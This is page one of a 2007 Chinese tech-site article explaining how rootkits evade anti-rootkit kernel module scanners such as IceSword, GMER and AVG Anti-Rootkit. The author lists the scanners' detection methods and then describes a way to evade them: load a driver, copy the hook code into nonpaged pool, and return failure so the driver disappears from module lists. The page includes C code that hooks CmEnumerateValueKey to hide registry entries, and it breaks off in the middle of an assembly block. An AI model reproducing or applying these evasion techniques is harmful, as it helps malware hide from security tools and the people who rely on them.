文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 精品软件 | 下载排行 | 推荐下载 | 免费看大片 | WPS | 杀毒软件
清风网络
首 页 软件下载 网络学院 数码学院
QQ 电脑入门 游戏 操作系统 图形处理 办公软件 媒体动画 精文荟萃 工具软件 网络编程 程序开发 网络技术 认证考试 网站建设 文章专栏
当前位置:清风网络学院操作系统 木马病毒绕过Anti-Rookit的内核模块扫描技巧
精品推荐
特别推荐
·趋势:新反病毒技术亟待成熟
·病毒反抗杀毒软件主要手段
·文件关联型木马的特殊化查杀
·杀毒技巧系列:杀毒、防恶意代码、脚本病毒的不完全合集
·识别非法进程及手工杀毒技巧
·清除系统隐藏病毒文件全攻略
·轻松找到恶意网站中藏的病毒
·一个防止U盘病毒的小技巧
·AUTO病毒致杀软失效并下载病毒
·禁止让瑞星2008随机启动的绝招
热点TOP10
·QQ聊天记录偷窥和QQ视频欺骗
·杀毒技巧系列:杀毒、防恶意代码、脚本病毒的不完全合集
·俄罗斯杀毒软件大蜘蛛登陆中国
·不再怕电脑病毒 电脑中毒后的6招处理方法
·卡巴斯基6.0下载卡巴斯基6.0key激活码
·警惕高危木马病毒 随意下载病毒窃密码
·一个防止U盘病毒的小技巧
·卡巴斯基2009 Beta版 初步试用感受
·不是这么简单 揭秘网友十大杀毒误区
·江民杀毒软件 KV2008 正式版免费下载

绕过Anti-Rookit的内核模块扫描技巧

日期:2007年10月29日 作者: 查看:[大字体 中字体 小字体]


  本文描述了一些方法,可以绕过目前主流的现代Anti-rootkit工具,包括但不限于:Icesword 最新版、Gmer最新版、Rootkit unhooker 最新版、DarkSpy 最新版以及AVG Anti-rootkit最新版等等

  目前的anti-rootkit工具中,对于内核模块主要采用如下几种扫描方式:

  1.恢复ZwQuerySystemInformation的hook,然后利用功能号SystemModuleInformation进行枚举,例如Icesword。

  2.遍历PsLoadModuleList,Driver/Device/Section Object链,或者TypeList链等(总之是找驱动相关对象)进行枚举,例如Rootkit Unhooker,Gmer等。

  3.内核镜象暴力搜索,搜索MZ,PE等等标志结合进行判断内存里是否有PE镜象,如rootkit unhooker,rutkowska的modgreper等,通常只能显示为unknow image

  4.函数引用,各种routine\hook等,先HOOK一些常用函数,然后当驱动去调用这些函数时,记下其地址,检测时使用,或者是根据各种routine­(dispatch routine,IDT,Image Notfiy等)或各种hook(inline hook,iat/eat hook等等),通常只能显示为unknow image或unknow xxx handler等

  5.使用系统ImageLoad Notfiy,使用一个BOOT驱动,记录所有模块load的消息,检测时进行分析 如AVG Anti-rootkit等

  先说绕过1,2,3,5的办法

  很简单,使用诸如ZwSetSystemInformation的函数加载驱动,然后在DriverEntry中分配NonPagedPool的内存,然后将功­能代码/函数copy到该内存中,然后进行必要的HOOK,最后返回STATUS_UNSUCCESSFULL.

  这样驱动在PsLoadModuleList、各种对象链里就消失了,自然也就不存在于ZwQuerySystemInformation枚举的列表里。需要注意的是,copy到内存中的代码要尽量简单,基本不会生成需要重定位的代码了,但调用系统函数还是要另想办法。我的某个RK里是这样做的,例如A Function用来hook 系统函数B,其中需要调用系统函数C,那么分配一块内存,大小= len(A) + sizeof(ULONG) * 2

      在内存的前两个DWORD放OrgB,以及C的地址,后面开始放函数代码,函数中使用call +5 对自身的位置进行定位,找到内存开始的位置,然后得到OrgB和C。当然也可以在COPY入内存前自己用绝对地址定位函数~不过不如这个方法灵活

  相关代码:

      //hook call CmEnumerateValueKey
  void InstallCMRegHook()
  {
  PVOID _CmEnumerateKeyValueLoc ;
  _CmEnumerateKeyValueLoc = FindCmEnumerateValueKey();
  //找到 call CmEnumerateValueKey
  HookCodeLen = (ULONG)NopFunc8 - (ULONG)NewCmEnumerateValueKey ;
  //获得NewCmEnumerateValueKey长度
  HookCode3 = ExAllocatePoolWithTag(NonPagedPool ,
  HookCodeLen + 4 ,
  MEM_TAG_HOOKCODE3);
  //分配内存
  *(ULONG*)HookCode3 = *(ULONG*)_CmEnumerateKeyValueLoc ;
  //原函数地址放入内存
  RtlCopyMemory((PVOID)HookCode3 + sizeof(ULONG) , (PVOID)NewCmEnumerateValueKey ,HookCodeLen);
  //copy函数代码
  DO_SPINLOCK();
  *(ULONG*)_CmEnumerateValueKeyLoc = HookCode3 + sizeof(ULONG);
  //进行HOOK
  EXIT_SPINLOCK();
  return ;
  }
  NTSTATUS NewCmEnumearateValueKey(IN PVOID KeyControlBlock,
  IN ULONG Index,
  IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
  IN PVOID KeyValueInformation,
  IN ULONG KeyLength,
  IN PULONG ResultLength
  )
  {
  //下面找到本函数开始地址,并获得保存在内存中的OrgCmEnumerateValueKey的地址
  __asm
  {

[1] [2] 下一页 




上一篇:提高Windows系统内存效率的优化方法

下一篇:绝对惊艳的绝技:让Vista特效更绚丽

相关文章:
·电脑高手的140个电脑技巧
·网站赚钱的四个技巧
·CorelDRAW文字排版的技巧
·太阁立志传4 攻略及技巧
·QQ空间最新大图模块:谁都不是谁的谁
·新出QQ技巧十六招
·QQ空间大图模块:性感蔡依林
·传授追女孩之技巧之新手篇
·杀毒技巧系列:杀毒、防恶意代码、脚本病毒的不完全合集
·Windows XP的20个超级实用技巧大全
相关软件:
·电脑技巧精彩文章一百篇
·中文版Excel 2003实例与技巧
·Photshop照片润饰技巧
·摄影技巧与欣赏
·交际-电话沟通技巧
·技压群雄—电脑超级技巧3000招(CHM)
·招聘面试技巧 视频教程
·中文版 AutoCAD2004 应用实例与技巧
·FLASH高级技巧大揭密
·实用手机购买技巧大全+手机摄像头知识全揭密

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.viphot.com
| 帮助(?) | 版权声明 | 友情连接 | 关于我们 | 信息发布
Copyright 2007 www.viphot.com All Rights Reserved. 鄂ICP备05000083号Powered by:viphot